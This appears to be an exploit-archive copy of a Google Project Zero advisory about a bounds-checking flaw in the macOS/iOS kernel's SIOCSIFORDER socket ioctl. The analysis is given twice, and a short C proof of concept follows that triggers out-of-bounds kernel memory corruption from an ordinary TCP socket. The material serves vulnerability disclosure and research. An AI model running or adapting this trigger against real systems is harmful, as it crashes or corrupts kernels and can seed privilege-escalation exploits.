Apple macOS/iOS Kernel 10.12.3 (16D32) – SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108 SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox. it falls through to calling: ifnet_reset_order(ordered_indices, ifo->ifo_count) where ordered_indicies points to attacker-controlled bytes. ifnet_reset_order contains this code: for (u_int32_t order_index = 0; order_index < count; order_index++) { u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a) if (interface_index == IFSCOPE_NONE || (int)interface_index > if_index) { <-------------------------- (b) break; } ifp = ifindex2ifnet[interface_index]; <-------------------------- (c) if (ifp == NULL) { continue; } ifnet_lock_exclusive(ifp); TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d) ifnet_lock_done(ifp); if_ordered_count++; } at (a) a controlled 32-bit value is read into an unsigned 32-bit variable. at (b) this value is cast to a signed type for a bounds check at (c) this value is used as an unsigned index by providing a value with the most-significant bit set making it negative when cast to a signed type we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds below the ifindex2ifnet array. This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below) */ // ianbeer #if 0 MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox. it falls through to calling: ifnet_reset_order(ordered_indices, ifo->ifo_count) where ordered_indicies points to attacker-controlled bytes. ifnet_reset_order contains this code: for (u_int32_t order_index = 0; order_index < count; order_index++) { u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a) if (interface_index == IFSCOPE_NONE || (int)interface_index > if_index) { <-------------------------- (b) break; } ifp = ifindex2ifnet[interface_index]; <-------------------------- (c) if (ifp == NULL) { continue; } ifnet_lock_exclusive(ifp); TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d) ifnet_lock_done(ifp); if_ordered_count++; } at (a) a controlled 32-bit value is read into an unsigned 32-bit variable. at (b) this value is cast to a signed type for a bounds check at (c) this value is used as an unsigned index by providing a value with the most-significant bit set making it negative when cast to a signed type we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds below the ifindex2ifnet array. This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 #endif #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <mach/mach.h> struct if_order { u_int32_t ifo_count; u_int32_t ifo_reserved; mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */ }; #define SIOCSIFORDER _IOWR('i', 178, struct if_order) int main() { uint32_t data[] = {0x80001234}; struct if_order ifo; ifo.ifo_count = 1; ifo.ifo_reserved = 0; ifo.ifo_ordered_indices = (mach_vm_address_t)data; int fd = socket(PF_INET, SOCK_STREAM, 0); int ret = ioctl(fd, SIOCSIFORDER, &ifo); return 0; } |